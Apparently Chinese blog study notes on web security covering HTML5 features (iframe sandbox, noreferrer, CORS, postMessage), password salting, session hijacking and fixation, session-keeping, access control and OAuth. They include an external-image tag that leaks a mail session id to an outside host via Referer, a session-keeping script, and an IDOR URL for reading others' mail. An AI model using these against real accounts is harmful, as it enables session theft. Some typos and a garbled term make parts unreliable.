在 HTML5中,专门为iframe定义了一个新的属性,叫sandbox。使用sandbox这一属性后,<iframe>标签加载的内容将 被视为一个独立的”源“,其中的脚本将被禁止执行,表单被禁止提交,插件被禁止加载,指向其他浏览器对象的链接也会被禁止。
sandbox属性可以通过参数来支持更精确的控制。有以下几个值可选:
allow-same-origin: 允许同源访问
allow-top-navigation: 允许访问顶层窗口
allow-forms: 允许提交表单
allow-scripts: 允许执行脚本
但有的行为即使设置了allow-scripts,也是不允许的,比如”弹出窗口".
一个iframe的实例如下:
<iframe sandbox="allow-same-origin allow-forms allow-scripts" scr="http:?/maps.example.com/embedded.html"></iframe>
毫无疑问,iframe的sandbox属性将极大地增强应用使用iframe的安全性。

3、Link Types:noreferrer
在HTML 5中为<a>标签和<area>标签定义了一个新的LInk Types:noreferrer.
顾名思义,标签指定了noreferrer之后,浏览器在请求该标签指定的地址时将不再发送Referer。
<a href="http://supershll.blog.163.com/blog/xxx" rel="noreferrer"> test</a>
这种设计是处于保护敏感信息和隐私的考虑。因为通过Referer,可能会泄漏一些敏感信息。

4、Canvas的妙用:
<canvas>标签让Javascript可以在页面中直接操作图片对象,也可以直接操作像素,构造出图片区域。Canvas的出现极大地挑战了传统富客户端插件的地位,开发者甚至可以用Canvas在浏览器上写一个小游戏。
Canvas甚至可以用来破解验证码。

二、其他安全问题:
1、Cross-Origin Resource Sharing
浏览器实现的同源策略限制了脚本的跨域请求。但互联网的发展趋势是越来越开放的,因此跨域访问的需求也变得越来越迫切。开发者们不得不想方设法的实现一些“合法”的跨域技术,比如jsonp、iframe跨域等技巧。
W3C决定指定一个新的标准来解决这个问题。
假设从http://www.a.com/test.html发起一个跨域的XMLHttpRequest请求,请求的地址为:http://www.b.com/test.php
如果服务器www.b.com返回一个HTTP Header:
Access-Control-Allow-Origin:http://www.a.com
代码如下:
<?php
 header("Access-Control-Allow-Origin:*");
?>
Cross Domain Request Test!
那么这个来自http://www.a.com/test.html的跨域请求就会被通过。
在这个过程中,http://www.a.com/test.html发起的请求还必须带上一个Origin Header:
Origin:http://www.a.com
Origin Header用于标记HTTP发起的“源”,服务器端通过识别浏览器自动带上的这个Origin Header,来判断浏览器的请求是否来自一个合法的“源”。Origin Header可以用于防范CSRF,它不像Referer那么容易被伪造或清空。
在这个例子中,服务器端返回
Access-Control-Allow-Origin:*
是很危险的。

2、postMessage----跨窗口传递消息
postMessage允许每一个window(包括当前窗口、弹出窗口、iframes等)对象往其他的窗口发送文本消息,从而实现跨窗口的消息传递。这个功能是不受同源策略限制的。
在接收窗口中,需要绑定一个message事件,监听其他窗口发来的消息。这是两个窗口之间的一个“约定”,如果没有监听这个事件,则无法接收到消息。
示例:
发送消息 document.getElementById("iframe").contentWindow.postMessage(...);
接受消息:
document.addEventListener("message",function(e){
  document.getElementById("test").textContent=e.domain+" said: "+e.data;
},false);

1)在必要时可以在接收窗口中验证Domain,甚至验证URL,以防止非法页面的消息。
2)如果将消息写入innerHTML或script中,可能会导致XSS的产生。

3、Web Storage:
Web Storage分为Session Storage和Local Storage。它用键值对实现。
设置一个值: window.sessionStorage.setItem(key,value)
读一个值: window.sessionStorage.getItem(key)
它在实现强大功能的同时,也带来了更多的安全挑战。

网络安全---认证与会话管理


2012-08-14 09:25:07|  分类: 网络 |字号 订阅
一、Who am I?
认证=Authentication   授权=Atuhorization
认证的目的是为了认出用户是谁,而授权的目的是为了决定用户能够做什么。
认证实际上就是一个验证凭证的过程。
如果只有一个凭证被用于认证,则称为"单因素认证";如果有多个凭证被用于认证,则称为"多因素认证"。

二、密码的那些事儿
密码是最常见的一种认证手段。
“密码强度”是设计密码认证方案时第一个需要考虑的问题。
密码的保存也要注意。一般来说,密码必须以不可逆的加密算法,或者是单向散列函数算法,加密后存储在数据库中。这样即使数据库被盗,也无法获取到密码的明文。
目前黑客们破解MD5后密码的方法一般是使用“彩虹表(Rainbow Table)"。就是收集尽可能多的密码明文和明文对应的MD5.一个好的彩虹表,可能会非常庞大,但这种方法确实有效。彩虹表的建立,还可以周期性地计算一些数据的MD5值,以扩充彩虹表的内容。
为了避免密码哈希值泄漏后,黑客能够直接通过彩虹表查询出密码明文,在计算密码明文的哈希值时,增加一个"Salt"。“Salt"是一个字符串,它的作用是为了增加明文的复杂度,并能使得彩虹表一类的攻击失效。
Salt的使用如下:
MD5(UserName+Password+Salt)
其中,Salt=abcddcba...(随机字符串)
Salt应该保存在服务器端的配置文件中,并妥善保管。

三、多因素认证
例如,手机动态口令、数字证书、宝令、支付盾、第三方证书等

四、Session与认证
登录成功后,不可能每个页面都进行一次认证,因此,认证成功后,就需要替换一个对用户透明的认证,就是SessionID。
最常见的做法就是把SessionID加密后保存在Cookie中,因为Cookie会随着HTTP请求头发送,且受到浏览器同源策略的保护。
SessionID一旦在生命周期内被窃取,就等同于账户失窃。同时由于SessionID是用户登录之后才持有的认证凭证,因此黑客不需要再攻击登录过程,在设计安全方案时需要意识到这一点。
Session劫持就是一种通过窃取用户SessionID后,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。
Cookie 泄漏的途径有很多,最常见的有XSS攻击、网络Sniff,以及本地木马窃取。对于通过XSS漏洞窃取Cookie的攻击,通过给Cookie标记 httponly,可以有效地缓解XSS窃取Cookie的问题。但是其他的泄漏途径,比如网络被嗅探,或者Cookie文件被窃取,则会涉及客户端的环 境安全,需要从客户端着手解决。
SessionID除了可以保存在Cookie中,还可以保存在URL中,作为请求的一个参数。但是这种方式的安全性难以经受考验。
在 手机操作系统中,由于很多手机浏览器暂不支持Cookie,所以只能将SessionID作为URL的一个参数用于认证。安全研究者kxlzx曾经在博客 上列出过一些无线WAP中因为sid泄漏所导致的安全漏洞。其中一个典型的场景就是通过Referer泄漏URL中的sid,QQ的WAO邮箱曾经出过此 漏洞,测试过程如下:
首先,发送到QQ邮箱的邮件中引用了一张外部网站的图片:
<img src="http://www.inbreak.net/logo.php">
然后,当手机用户用手机浏览器打开QQ邮箱时:
手机浏览器在解析图片时,实际上是发起了一次GET请求,这个请求会带上Referer。
Referer的值为:
http://w34.mail.qq.com/cgi-bing/readmail?sid=xxxxx4,wwwwww,&disptype=html&mailid=fdsaddsada&t=&conv=&p=&crr
可以看到sid就包含在Referer中,在www.inbreak.net的服务器日志中可以查看到此值,QQ邮箱的sid因此而泄漏了。
在sid的声明周期内,访问包含此sid的链接,就可以登录到该用户的邮箱中。
在生成SessionID时,需要保证足够的随机性,比如采用足够强的伪随机数生成算法。

五、Session Fixation攻击
什么是Session Fixation呢?举一个形象的例子,假设A有一辆汽车,A把汽车卖给了B,但是A并没有把所有的钥匙都给B,自己还藏了一把。这时候,如果B没有给车换锁的话,A仍然是可以用藏下的钥匙使用汽车的。
这个没有换”锁“而导致的安全问题,就是Session Fixation问题。
在用户登录网站的过程中,如果登录前后用户的SessionID没有发生变化,则会存在Session Fixation问题。
具 体攻击的过程是,用户X(攻击者)先获取到一个未经认证的SessionID,然后将这个SessionID交给用户Y去认证,Y完成认证后,服务器并未 更新此SessionID的值(注意是未改变SessionID,而不是未改变Session),所以X可以直接凭借此SessionID登录进Y的账 户。
X如何才能让Y使用这个SessionID呢?如果SessionID保存在Cookie中,比较难做到这一点。但若是SessionID保存在URL中,则X只需要诱使Y打开这个URL即可。
解决Session Fixation的正确做法是:在登录完成后,重写SessionID。
如果使用sid则需要重置sid的值;如果使用Cookie,则需要增加或改变用于认证的Cookie值。

六、Session保持攻击
如果攻击者能一直持有一个有效的Sesion(比如间隔性地刷新页面,以告诉服务器这个用户仍然在活动),而服务器对于活动的Session也一直不销毁的话,攻击者就能通过此有效Session一直使用用户的账户,成为一个永久的”后门"。
但是Cookie有失效时间,Session也可能会过期,攻击者能永久地持有这个Session吗?
一 般的应用都会给Session设置一个失效时间,当到达失效时间后,Session将被销毁。但有一些系统,出于用户体验的考虑,只要这个用户还”活着 “,就不会让这个用户的Session失效。从而攻击者可以通过不停地发起访问请求,让Sessiion一直”活“下去。
安全研究者kxlzx曾经分享过这样一个案例,使用以下代码保持Session:
<script>
 window.setInterval("keepsid()",60000);
 function keepsid(){
    document.getElementById("iframe1").src=url...;
 }
</script>
而Cookie是可以完全由客户端控制的,通过发送带有自定义Cookie头的包,也能实现同样的效果。
想使得Cookie不失效,还有更简单的方法。

在 Web开发中,网站访问量如果比较大,维护session可能会给网站带来巨大的负担。因此,有一种做法,就是服务器端不维护Session,而把 Session放在Cookie中加密保存。当浏览器访问网站时,会自动带上Cookie,服务器端只需要解密Cookie即可得到当前用户的 Session了。这样的Session如何使其过期呢?很多应用都是利用Cookie的Expire标签来控制Session的失效时间,这就给了攻击 者可乘之机。

Cookie的Expire时间是完全可以由客户端控制的。纂改这个时间,并使之永远有效,就有可能获得一个永久有效的Session,而服务器端是完全无法察觉的。

攻击者甚至可以为Session Cookie增加一个Expire时间,使得原本浏览器关闭就会失效的Cookie持久化地保存在本地,变成一个第三方Cookie。

如何对抗这种Session保持攻击呢?
常见的做法是在一定时间后,强制销毁Session。比如3天后就强制Session过期。

还可以选择的方法是当用户客户端发生变化时,要求用户重新登录。比如用户的IP、UserAgent等信息发生了变化,这就可以强制销毁当前的Session,并要求用户重登陆。
最后,还需要考虑的是同一用户拥有几个有效的Session。若每个用户只允许拥有一个Session,则攻击者想要一直保持一个Session也是不太可能的。当用户再次登录时,攻击者所保持的Session将被“踢出“。

七、单点登录SSO
风险和便利共存。
目前胡两旺最为开放和流行的单点登录系统是OpenID。

网络安全---访问控制

网络安全---访问控制  

2012-08-14 10:06:27|  分类: 网络 |字号 订阅
一、What Can I Do?
在一个安全系统中,确定主体的身份是”认证“解决的问题;而客体是一种资源,是主体发起的请求的对象。在主体对客体进行操作的过程中,系统控制主体不能“无限制”地对客体进行操作,这个过程就是“访问控制"。
在Web应用中,根据访问客体的不同,常见的访问控制可以分为”基于URL的访问控制“、”基于方法(method)的访问控制“、和“基于数据的访问控制”。
一般来说,"基于URL的访问控制"是最常见的。要实现一个简单的“基于URL的访问控制”,在基于Java的Web应用中,可以通过增加一个Filter实现,如下:
String url=request.getRequestPath();

User user=request.getSession().get("user");
boolean permit=PrivilegeManager.permit(user,url);
if (permit){
  chain.doFilter(request,response);
} else {
 //可以跳转到提示页面
}
当访问控制存在缺陷时,会如何呢?我们看看下面这些真实的案例,这些案例来自漏洞披露平台WooYun。
凤凰网分站后台某页面存在未授权访问漏洞,导致攻击者可以胡乱修改节目表:
mop后台管理系统未授权访问:
网易某分站后台存在未授权访问:

这些系统未对用户访问权限进行控制,导致任意用户只要构造出了正确的URL,就能够访问到这些页面。
在正常情况下,这些管理页面是不会被链接到前台页面上的,搜索引擎的爬虫也不应该搜索到这些页面。但是把需要保护的页面“藏”起来,并不是解决问题的办法。攻击者惯用的伎俩是使用一部分包含了很多后台路径的字典,把这些“藏”起来的页面扫出来。

二、垂直权限管理--基于角色(Role)
访问控制实际上是建立用户与权限之间的对应关系,现在应用广泛的一种方法,就是“基于角色的访问控制”(Role-Based Access Control=RBAC).
在配置权限时,应当使用“最小权限原则”,并使用“默认拒绝”的策略,只对有需要的主题单独配置“允许”的策略。

三、水平权限管理--基于组Group
优酷网用户越权访问问题
用户登录后,可以通过以下方式查看他人的来往信件(只要更改下面地址的数字id即可),查看和修改他人的专辑信息:
http://u.youku.com/my_mail/type_read_ref_inbox_id_52379500_desc_1?__rt=1&__ro=myInboxList
从这个例子可以看到,用户A与用户B可能都属于同一个角色RoleX,但是用户A与用户B都各自拥有一些私有数据,在正常情况下,应该只有用户自己才能访问自己的私有数据。
这就需要水平权限管理。

四、OAuth简介
OAuth是一个在不提供用户名和密码的情况下,授权第三方应用访问Web资源的安全协议。OAuth 1.0于2007年12月公布,并迅速成为了行业标准。2010年4月,OAuth 1.0正式成为了RFC 5849.
OAuth与OpenID都致力于让互联网变得更加的开放。OpenID解决的是认证问题,OAuth则更注重授权。认证与授权的关系其实是一脉相承的,后来人们发现,其实更多的时候真正需要的是对资源的授权。
比如在人人网上,想要导入用户MSN里的好友,在没有OAuth时,可能需要用户向人人网提供MSN的用户名和密码。
而OAuth则解决了这个信任的问题,它使得用户在不需要向人人网提供MSN用户名和密码的情况下,可以授权MSN将用户的好友名单提供给人人网。
在OAuth 1.0中,涉及3个角色,分别是:
1)Consumer:消费方(client)
2)Service P弱智的人:服务提供方(Server)
3)User:用户(Resource Owner)
Client是人人网,Server是MSN,Resource Owner是用户。

事实上,自己完全实现一个OAuth协议对于中小网站来说并没有太多必要,,因此使用第三方实现的OAuth库也是一个较好的选择。目前有以下比较知名的OAuth库可供开发者选择:
...
现在已经有了OAuth2.0.